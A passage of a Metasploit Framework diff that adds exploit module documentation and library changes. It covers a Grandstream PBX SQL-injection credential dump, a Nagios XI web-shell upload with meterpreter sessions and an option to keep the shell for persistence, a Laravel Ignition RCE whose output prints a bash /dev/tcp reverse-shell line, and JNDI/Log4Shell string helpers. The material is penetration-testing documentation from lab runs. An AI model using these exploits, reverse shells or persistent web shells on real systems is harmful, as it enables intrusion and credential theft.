end @@ -1103,7 +1132,7 @@ module Build unless options[:skip_migration] config = Config.new migrator = WikiMigration.new - migrator.run(config) + migrator.run(config, options) end if options[:production] @@ -1136,6 +1165,13 @@ if $PROGRAM_NAME == __FILE__ options[:skip_migration] = skip_migration end + opts.on('--update-existing-wiki [website url]', 'Update the existing wiki with links to the new website location') do |new_website_url| + new_website_url ||= 'https://docs.metasploit.com/' + options[:update_existing_wiki] = { + new_website_url: new_website_url + } + end + opts.on('--production', 'Run a production build') do |production| options[:production] = production end diff --git a/documentation/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.md b/documentation/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.md new file mode 100644 index 0000000000..9ae5fab88c --- /dev/null +++ b/documentation/modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.md @@ -0,0 +1,64 @@ +## Vulnerable Application + +### Description + +This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx +IP PBX to dump the users table. The injection occurs over a websocket at the websockify +endpoint, and specifically occurs when the user requests the challenge (as part of a +challenge and response authentication scheme). The injection is blind, but the server +response contains a different status code if the query was successful. As such, the +attacker can guess the contents of the user database. Most helpfully, the passwords are +stored in cleartext within the user table (CVE-2020-5723). + +This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22. + +### Installation + +The UCM62xx PBX is a physical device and is not known to have been successfully emulated. +However, if you have a device, affected firmware can be downloaded here: + +* http://firmware.grandstream.com/Release_UCM62xx_1.0.20.22.zip + +## Verification Steps + +* Acquire an affected device and configure it with the affected firmware +* Do: `use auxiliary/gather/grandstream_ucm62xx_sql_account_guess` +* Do: `set RHOST ` +* Do: `check` +* Do: Verify the remote host is vulnerable. +* Do: `run` +* You should get a list of valid credentials for the target device. + +## Options + +### TARGETURI + +Specifies base URI. The default value is `/`. + +## Scenarios + +### Grandstream UCM6202 IP PBX firmware version 1.0.20.20 + +``` +msf6 > use auxiliary/gather/grandstream_ucm62xx_sql_account_guess +msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > set RHOST 10.0.0.7 +RHOST => 10.0.0.7 +msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > check + +[*] Requesting version information from /cgi +[*] 10.0.0.7:8089 - The target appears to be vulnerable. The self-reported version is: 1.0.20.20 +msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > run +[*] Running module against 10.0.0.7 + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Requesting version information from /cgi +[+] The target appears to be vulnerable. The self-reported version is: 1.0.20.20 +[*] Found the following username and password: admin - cheesed00dle +[*] Found the following username and password: 1000 - gZ15S8O8U5S72oli +[*] Found the following username and password: 1001 - qK6uRxwC +[*] Found the following username and password: 1002 - aP9ux515W7p5U +[*] Found the following username and password: 1003 - pM6mo!E8u37k +[*] Found the following username and password: 1004 - mC7N68dm8h +[*] Auxiliary module execution completed +msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > +``` diff --git a/documentation/modules/auxiliary/scanner/http/log4shell_scanner.md b/documentation/modules/auxiliary/scanner/http/log4shell_scanner.md index 622929541c..f8bac63c44 100644 --- a/documentation/modules/auxiliary/scanner/http/log4shell_scanner.md +++ b/documentation/modules/auxiliary/scanner/http/log4shell_scanner.md @@ -44,7 +44,7 @@ RUN apt-get update && \ apt-get clean && \ rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* -RUN curl https://dlcdn.apache.org/struts/2.5.28/struts-2.5.28-all.zip > struts-all.zip && \ +RUN curl https://archive.apache.org/dist/struts/2.5.28/struts-2.5.28-all.zip > struts-all.zip && \ unzip struts-all.zip && \ cp /struts-2.5.28/apps/struts2-showcase.war /bitnami/tomcat/webapps/ ``` diff --git a/documentation/modules/exploit/linux/http/nagios_xi_autodiscovery_webshell.md b/documentation/modules/exploit/linux/http/nagios_xi_autodiscovery_webshell.md new file mode 100644 index 0000000000..dfc15a370e --- /dev/null +++ b/documentation/modules/exploit/linux/http/nagios_xi_autodiscovery_webshell.md @@ -0,0 +1,226 @@ +## Vulnerable Application + +### Description + +This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path +traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as +`www-data`. The module achieves this by creating an autodiscovery job with an `id` field containing a +path traversal to a writable and remotely accessible directory, and `custom_ports` field containing +the web shell. A cron file will be created using the attacker's chosen path and name, and the web +shell is embedded in the file. + +After the web shell has been written to the victim, this module will then use the webshell to establish +a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the +autodiscovery job is removed as well. + +### Installation + +The following was tested on Ubuntu 20.04. + +* wget https://assets.nagios.com/downloads/nagiosxi/5/xi-5.8.4.tar.gz +* tar -xvf xi-5.8.4.tar.gz +* cd nagiosxi +* sudo ./fullinstall + +The installer will spend a good deal of time installing many things. Upon completion, navigate to +the Web UI, accept license agreements, and configure the administrator username and password. + +## Verification Steps + +* Follow the instructions above to install Nagios XI 5.8.4 on Ubuntu 20.04 +* Do: `use exploit/linux/http/nagios_xi_autodiscovery_webshell` +* Do: `set RHOST ` +* Do: `set PASSWORD ` +* Do: `check` +* Verify the target is flagged as vulnerable +* Do: `set LHOST ` +* Do: `run` +* You should get a Meterpreter session. + +## Options + +### TARGETURI + +Specifies base URI. The default value is `/nagiosxi`. + +### USERNAME + +The username to log in to the Nagios XI web interface with. The default is `nagiosadmin`. + +### PASSWORD + +The password to log in with. Set to `nil` by default. + +### DEPTH + +The depth of the path traversal. Default is 10. + +### WEBSHELL_NAME + +Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated. +Set to `nil` by default. + +### DELETE_WEBSHELL + +Indicates if the web shell should be deleted after the meterpreter session or reverse shell is established. +A user may want to leave behind a web shell for persistence reasons. The default is `true`. + +## Scenarios + +### Nagios XI 5.8.4 - Get a Meterpreter Session + +``` +msf6 > use auxiliary/scanner/http/nagios_xi_scanner +msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6 +RHOST => 10.0.0.6 +msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1 +PASSWORD => labpass1 +msf6 auxiliary(scanner/http/nagios_xi_scanner) > run + +[*] Attempting to authenticate to Nagios XI... +[+] Successfully authenticated to Nagios XI +[*] Target is Nagios XI with version 5.8.4 +[+] The target appears to be vulnerable to the following 1 exploit(s): +[*] +[*] CVE-2021-37343 exploit/linux/http/nagios_xi_autodiscovery_webshell +[*] +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell +[*] Using configured payload linux/x86/meterpreter/reverse_tcp +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3 +LHOST => 10.0.0.3 +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6 +RHOST => 10.0.0.6 +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1 +PASSWORD => labpass1 +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run + +[*] Started reverse TCP handler on 10.0.0.3:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Attempting to authenticate to Nagios XI... +[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4 +[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob +[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php +[*] Testing if web shell installation was successful +[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php +[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp +[*] Sending stage (989032 bytes) to 10.0.0.6 +[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/fJHspzgor.php +[*] Command Stager progress - 100.00% done (700/700 bytes) +[*] Deleting autodiscovery job +[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44224 ) at 2022-02-05 17:53:27 -0800 + +meterpreter > shell +Process 800816 created. +Channel 1 created. +uname -a +Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux +whoami +www-data +pwd +/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp +``` + +### Nagios XI 5.8.4 - Get a reverse shell + +``` +msf6 > use auxiliary/scanner/http/nagios_xi_scanner +msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6 +RHOST => 10.0.0.6 +msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1 +PASSWORD => labpass1 +msf6 auxiliary(scanner/http/nagios_xi_scanner) > run + +[*] Attempting to authenticate to Nagios XI... +[+] Successfully authenticated to Nagios XI +[*] Target is Nagios XI with version 5.8.4 +[+] The target appears to be vulnerable to the following 1 exploit(s): +[*] +[*] CVE-2021-37343 exploit/linux/http/nagios_xi_autodiscovery_webshell +[*] +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell +[*] Using configured payload linux/x86/meterpreter/reverse_tcp +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set target 0 +target => 0 +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6 +RHOST => 10.0.0.6 +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3 +LHOST => 10.0.0.3 +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1 +PASSWORD => labpass1 +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run + +[*] Started reverse double SSL handler on 10.0.0.3:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Attempting to authenticate to Nagios XI... +[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4 +[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob +[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php +[*] Testing if web shell installation was successful +[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php +[*] Executing Unix Command for cmd/unix/reverse_openssl +[*] Deleting autodiscovery job +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo nyjlVFXNgWehsWFs; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "nyjlVFXNgWehsWFs\n" +[*] Matching... +[*] A is input... +[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php +[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44226 ) at 2022-02-05 17:56:49 -0800 + +whoami +www-data +id +uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd) +pwd +/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp +``` + +### Nagios XI 5.8.4 - Leave a web shell behind + +``` +msf6 > use exploit/linux/http/nagios_xi_autodiscovery_webshell +[*] Using configured payload linux/x86/meterpreter/reverse_tcp +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6 +RHOST => 10.0.0.6 +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3 +LHOST => 10.0.0.3 +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1 +PASSWORD => labpass1 +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set DELETE_WEBSHELL false +DELETE_WEBSHELL => false +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set WEBSHELL_NAME lobster.php +WEBSHELL_NAME => lobster.php +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run + +[*] Started reverse TCP handler on 10.0.0.3:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Attempting to authenticate to Nagios XI... +[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4 +[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob +[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php +[*] Testing if web shell installation was successful +[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php +[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp +[*] Sending stage (989032 bytes) to 10.0.0.6 +[*] Command Stager progress - 100.00% done (700/700 bytes) +[*] Deleting autodiscovery job +[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44230 ) at 2022-02-05 18:07:14 -0800 + +meterpreter > quit +[*] Shutting down Meterpreter... + +[*] 10.0.0.6 - Meterpreter session 1 closed. Reason: User exit +msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > exit +albinolobster@ubuntu:~/metasploit-framework$ curl --insecure https://10.0.0.6/nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php?cmd=id +0 9 * * * rm -f '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml'; touch '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch'; sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses='127.0.0.1/0' --exclude='' --output='../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml' --watch='/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch' --onlynew=0 --debug=1 --detectos=1 --detecttopo=1 --customports='uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd) +' > '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.out' 2>&1 & echo $! > /dev/null 2>&1 +``` diff --git a/documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md b/documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md new file mode 100644 index 0000000000..7fae1c508d --- /dev/null +++ b/documentation/modules/exploit/multi/php/ignition_laravel_debug_rce.md @@ -0,0 +1,74 @@ +## Vulnerable Application + +Ignition prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote malicious users to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel prior to 8.4.2. + +This module has been tested successfully on Debian 10.7 (x86_64) with kernel version 5.10.60. + +The easiest way to deploy a vulnerable application is to use the image from the vulhub project available over docker compose [here](https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129/docker-compose.yml). However this container doesn't come +with the required log file created, then it needs to be created manually in the path `/var/www/storage/logs/laravel.log`. + +## Verification Steps +Confirm that functionality works: +1. Start `msfconsole` +2. `use exploit/multi/php/ignition_laravel_debug_rc` +3. set `RHOSTS` and `RPORT` +4. Confirm the target is vulnerable: `check` +5. Confirm that the target is vulnerable: `The target is vulnerable.` +6. It come already with a default payload `cmd/unix/reverse_bash` +7. `set LHOST` +8. `exploit` +9. Confirm you have now a cmd session + +## Options + +### TARGETURI (required) + +The path to the Ignition _solutions_ file to exploit. By default, the path is `/_ignition/execute-solution`. + +### LOGPATH (optional) + +Path to Laravel's log file, which contains every PHP error and stack trace. By default it is stored in `storage/logs/laravel.log`. If not defined this module will try to automatically determine it based on the stack trace of the application. + + +## Scenarios +``` +msf6 exploit(multi/php/ignition_laravel_debug_rce) > exploit + +[+] bash -c '0<&65-;exec 65<>/dev/tcp/172.28.241.244/4444;sh <&65 >&65 2>&65' +[*] Started reverse TCP handler on 172.28.241.244:4444 +[*] Checking component version to 172.28.240.1:8080 +[*] Debug mode is enabled. +[*] Found PHP 7.4.15 running Laravel 8.26.1 +[*] Found log file /var/www/storage/logs/laravel.log +[*] Command shell session 2 opened (172.28.241.244:4444 -> 172.28.240.1:56840 ) at 2022-02-08 11:32:12 +0100 + +id +uid=33(www-data) gid=33(www-data) groups=33(www-data) +php /var/www/artisan --version +Laravel Framework 8.26.1 +head ../vendor/facade/ignition/CHANGELOG.md +# Changelog + +All notable changes to `ignition` will be documented in this file + +## 2.5.1 - 2020-11-13 + +- add support for LiveWire component urls + +## 2.5.0 - 2020-10-27 + +uname -a +Linux 9f96df025a2b 5.10.60.1-microsoft-standard-WSL2 #1 SMP Wed Aug 25 23:20:18 UTC 2021 x86_64 GNU/Linux +cat /etc/debian_version +10.7 +exit +[*] 172.28.240.1 - Command shell session 2 closed. +``` + +### Version and OS +This module has been tested successfully on Debian 10.7 (x86_64) with kernel version 5.10.60. Details as below: + +* PHP 7.4.1 +* Laravel Framework 8.26.1 +* Ignition 2.5.1 +* Debian 10.7 \ No newline at end of file diff --git a/documentation/modules/exploit/windows/smb/smb_shadow.md b/documentation/modules/exploit/windows/smb/smb_shadow.md index 2f76efa66a..478670e603 100644 --- a/documentation/modules/exploit/windows/smb/smb_shadow.md +++ b/documentation/modules/exploit/windows/smb/smb_shadow.md @@ -40,6 +40,11 @@ DefangedMode is set to true by default to prevent unintentional network configur This must be set to false if packet forwarding on port 445 was disabled manually. DisableFwd is set to true by default to allow the module to disable packet forwarding on port 445. +### ConfirmServerDialect + +This must be set to true to have the module confirm the server supports the lowest smb version supported by the client. +ConfirmServerDialect is set to false by default as the above situation is unlikely. + ## Scenarios **Active Windows Network** diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb index f2d712a467..fb29f78bb3 100644 --- a/lib/metasploit/framework/command/console.rb +++ b/lib/metasploit/framework/command/console.rb @@ -85,6 +85,7 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command:: driver_options['Logger'] = options.console.logger driver_options['ModulePath'] = options.modules.path driver_options['Plugins'] = options.console.plugins + driver_options['Readline'] = options.console.readline driver_options['RealReadline'] = options.console.real_readline driver_options['Resource'] = options.console.resources driver_options['XCommands'] = options.console.commands diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb index 7089c56778..34aa126633 100644 --- a/lib/metasploit/framework/parsed_options/console.rb +++ b/lib/metasploit/framework/parsed_options/console.rb @@ -15,6 +15,7 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par options.console.local_output = nil options.console.plugins = [] options.console.quiet = false + options.console.readline = true options.console.real_readline = false options.console.resources = [] options.console.subcommand = :run @@ -48,6 +49,10 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par options.console.logger = logger end + option_parser.on('--[no-]readline') do |readline| + options.console.readline = readline + end + option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do options.console.real_readline = true end diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 50e0ca22b4..594bc82fb0 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "6.1.30" + VERSION = "6.1.31" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/sessions/meterpreter_java.rb b/lib/msf/base/sessions/meterpreter_java.rb index 4cb58ed640..4bc6dc5947 100644 --- a/lib/msf/base/sessions/meterpreter_java.rb +++ b/lib/msf/base/sessions/meterpreter_java.rb @@ -21,8 +21,11 @@ class Meterpreter_Java_Java < Msf::Sessions::Meterpreter self.base_platform = 'java' self.base_arch = ARCH_JAVA end + + def native_arch + @native_arch ||= self.core.native_arch + end end end end - diff --git a/lib/msf/core/exploit/android.rb b/lib/msf/core/exploit/android.rb index 563aad389d..f894d45168 100644 --- a/lib/msf/core/exploit/android.rb +++ b/lib/msf/core/exploit/android.rb @@ -114,7 +114,7 @@ module Exploit::Android # The NDK stager is used to launch a hidden APK def ndkstager(stagename, arch) stager_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-6636", NDK_FILES[arch] || arch, 'libndkstager.so') - data = File.read(stager_file, {:mode => 'rb'}) + data = File.read(stager_file, mode: 'rb') data.gsub!('PLOAD', stagename) end diff --git a/lib/msf/core/exploit/remote/http/nagios_xi/rce_check.rb b/lib/msf/core/exploit/remote/http/nagios_xi/rce_check.rb index 1b6a940b66..1be43d51ee 100644 --- a/lib/msf/core/exploit/remote/http/nagios_xi/rce_check.rb +++ b/lib/msf/core/exploit/remote/http/nagios_xi/rce_check.rb @@ -1,18 +1,19 @@ # -*- coding: binary -*- +# Scans a Nagios XI target and suggests exploit modules to use module Msf::Exploit::Remote::HTTP::NagiosXi::RceCheck # Uses the Nagios XI version to check which CVEs and related exploit modules the target is vulnerable to, if any # # @param version [Rex::Version] Nagios XI version # @return [Hash], Hash mapping CVE numbers to exploit module names if the target is vulnerable, empty hash otherwise - def nagios_xi_rce_check(version) + def nagios_xi_rce_check(version) matching_exploits = {} # Storage area for known exploits that affect versions prior to the one in the hash key nagios_rce_version_prior = { '5.2.8' => [ ['NO CVE AVAILABLE', 'nagios_xi_chained_rce'] - ], + ] } nagios_rce_version_prior.each do |fixed_version, info| @@ -53,10 +54,13 @@ module Msf::Exploit::Remote::HTTP::NagiosXi::RceCheck '5.6.0-5.7.3' => [ ['CVE-2020-5791', 'nagios_xi_mibs_authenticated_rce'] ], + '5.2.0-5.8.4' => [ + ['CVE-2021-37343', 'nagios_xi_autodiscovery_webshell'] + ] } nagios_rce_version_range.each do |fixed_version, info| - lower, higher = fixed_version.split("-") + lower, higher = fixed_version.split('-') lower = Rex::Version.new(lower) higher = Rex::Version.new(higher) if version >= lower && version <= higher diff --git a/lib/msf/core/exploit/remote/jndi_injection.rb b/lib/msf/core/exploit/remote/jndi_injection.rb index 5dfb35fe7c..468b9c5276 100644 --- a/lib/msf/core/exploit/remote/jndi_injection.rb +++ b/lib/msf/core/exploit/remote/jndi_injection.rb @@ -27,8 +27,9 @@ module Exploit::Remote::JndiInjection # Create the JNDI injection string that will trigger an LDAP connection back to Metasploit. # # @return [String] the JNDI string - def jndi_string - "${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}" + def jndi_string(resource = nil) + resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}" + "ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}" end ## LDAP service callbacks @@ -130,7 +131,9 @@ module Exploit::Remote::JndiInjection end def validate_configuration! - fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST']) + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') + end end end end diff --git a/lib/msf/core/exploit/remote/log4_shell.rb b/lib/msf/core/exploit/remote/log4_shell.rb new file mode 100644 index 0000000000..6e8dc691cb --- /dev/null +++ b/lib/msf/core/exploit/remote/log4_shell.rb @@ -0,0 +1,11 @@ +# -*- coding: binary -*- + +module Msf +module Exploit::Remote::Log4Shell + include Exploit::Remote::JndiInjection + + def log4j_jndi_string(resource = nil) + "${jndi:#{jndi_string(resource)}}" + end +end +end diff --git a/lib/msf/core/exploit/remote/socket_server.rb b/lib/msf/core/exploit/remote/socket_server.rb index b9738ad42e..0a75a6c41b 100644 --- a/lib/msf/core/exploit/remote/socket_server.rb +++ b/lib/msf/core/exploit/remote/socket_server.rb @@ -58,9 +58,11 @@ module Exploit::Remote::SocketServer # def cleanup super - if(service) - stop_service() - print_status("Server stopped.") + if service + stopped = stop_service + if stopped + print_status("Server stopped.") + end end end @@ -80,17 +82,24 @@ module Exploit::Remote::SocketServer # Stops the service. # def stop_service - if (service) + if service begin - self.service.deref if self.service.kind_of?(Rex::Service) - if self.service.kind_of?(Rex::Socket) || self.service.kind_of?(Rex::Post::Meterpreter::Channel) - self.service.close - self.service.stop + if self.service.kind_of?(Rex::Service) + temp_service = self.service + self.service = nil + return temp_service.deref + else + if self.service.kind_of?(Rex::Socket) || self.service.kind_of?(Rex::Post::Meterpreter::Channel) + self.service.close + self.service.stop + end end self.service = nil + true rescue ::Exception => e print_error(e.message) + false end end end diff --git a/lib/msf/core/exploit/smb/shadow_mitm_dispatcher.rb b/lib/msf/core/exploit/smb/shadow_mitm_dispatcher.rb index dc617a6e74..9b66309e6a 100644 --- a/lib/msf/core/exploit/smb/shadow_mitm_dispatcher.rb +++ b/lib/msf/core/exploit/smb/shadow_mitm_dispatcher.rb @@ -5,10 +5,12 @@ module Exploit::SMB READ_TIMEOUT = 30 TCP_MSS = 536 # RFC 879 - # The underlying socket that we select on - # @!attribute [rw] tcp_socket + # The underlying stream that we select on + # @!attribute [rw] stream # @return [IO] - attr_accessor :tcp_socket + attr_accessor :stream + + alias :tcp_socket :stream # The read timeout # @!attribute [rw] read_timeout @@ -95,6 +97,8 @@ module Exploit::SMB @tcp_win = tcp_win @tcp_mss = tcp_mss @read_timeout = read_timeout + # Just create something to close + @stream = Socket.new Socket::AF_INET, Socket::SOCK_STREAM end # @param host [String] passed to TCPSocket.new @@ -104,7 +108,7 @@ module Exploit::SMB end # Needs: @tcp_src, @tcp_dst, @tcp_seq, @tcp_ack, @tcp-win, @interface, @mac - def send_packet(packet, nbss_header: true) + def send_packet(packet, nbss_header: true, tcp_flags: { ack: 1, psh: 1 }, tcp_opts: "") data = nbss_header ? nbss(packet) : '' if packet.methods.include?(:to_binary_s) data << packet.to_binary_s @@ -119,17 +123,20 @@ module Exploit::SMB tcp_seq: @tcp_seq, tcp_ack: @tcp_ack, tcp_win: @tcp_win, - tcp_flags: { ack: 1, psh: 1} + tcp_flags: tcp_flags, + tcp_opts: tcp_opts ) pkt = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: tcp_header) pkt.payload = data pkt.recalc + @stream.close if @stream @ccap = PacketFu::Capture.new( iface: @interface, promisc: false, start: true, - filter: "ether dst #{@mac} and not ether src #{@mac} and src port 445 and dst port #{@tcp_src}" + filter: "ether dst #{@mac} and not ether src #{@mac} and src port #{@tcp_dst} and dst port #{@tcp_src}" ) + @stream = @ccap.stream if data.size > @tcp_mss ip_body = pkt.ip_header.body.to_s ip_id = pkt.ip_header.ip_id @@ -158,10 +165,14 @@ module Exploit::SMB # @raise [RubySMB::Error::CommunicationError] if the read timeout expires or an error occurs when reading the packet def recv_packet(full_response: false) raise RubySMB::Error::CommunicationError, 'Capture has not been initialized' unless @ccap.class == PacketFu::Capture - pkt = @ccap.stream.each_data do |data| - break PacketFu::Packet.parse(data) + pkt = @stream.each_data do |data| + pkt = PacketFu::Packet.parse(data) + break pkt if (pkt.tcp_header.tcp_seq == @tcp_ack) || (@tcp_ack == 0) end + raise Errno::ECONNRESET, 'Recieved a RST packet' if pkt.tcp_header.tcp_flags.rst == 1 + #puts "#{pkt.tcp_header.tcp_seq} == #{@tcp_ack}" @tcp_ack = pkt.tcp_header.tcp_seq + pkt.tcp_header.body.size + @tcp_ack += 1 if pkt.tcp_header.tcp_flags.syn == 1 @tcp_seq = pkt.tcp_header.tcp_ack return pkt.payload[(full_response ? 0 : 4)..-1] rescue Errno::EINVAL, Errno::ECONNABORTED, Errno::ECONNRESET, TypeError, NoMethodError => e diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 236cb7378d..3bdfefdcb3 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -150,9 +150,15 @@ module Msf def replicant obj = self.clone self.instance_variables.each { |k| - v = instance_variable_get(k) - v = v.dup rescue v - obj.instance_variable_set(k, v) + old_value = instance_variable_get(k) + begin + new_value = old_value.is_a?(Rex::Ref) ? old_value.ref : old_value.dup + rescue => e + elog("#{self.class} replicant failed to dup #{k}", error: e) + new_value = old_value + end + + obj.instance_variable_set(k, new_value) } obj.datastore = self.datastore.copy diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 69e6e119c2..f8e0ee26e7 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -488,7 +488,7 @@ module Msf::Post::File # @param local [String] Local file whose contents will be uploaded # @return (see #write_file) def upload_file(remote, local) - write_file(remote, ::File.read(local)) + write_file(remote, ::File.read(local, mode: 'rb')) end # diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 7d68d3dc5e..7e34cef23a 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -288,7 +288,7 @@ module Msf added = "Loaded #{overall} modules:\n" - totals.each_pair { |type, count| + totals.sort_by { |type, _count| type }.each { |type, count| added << " #{count} #{type} modules\n" } diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 1648365eb2..b0a9b60e6a 100644 --- 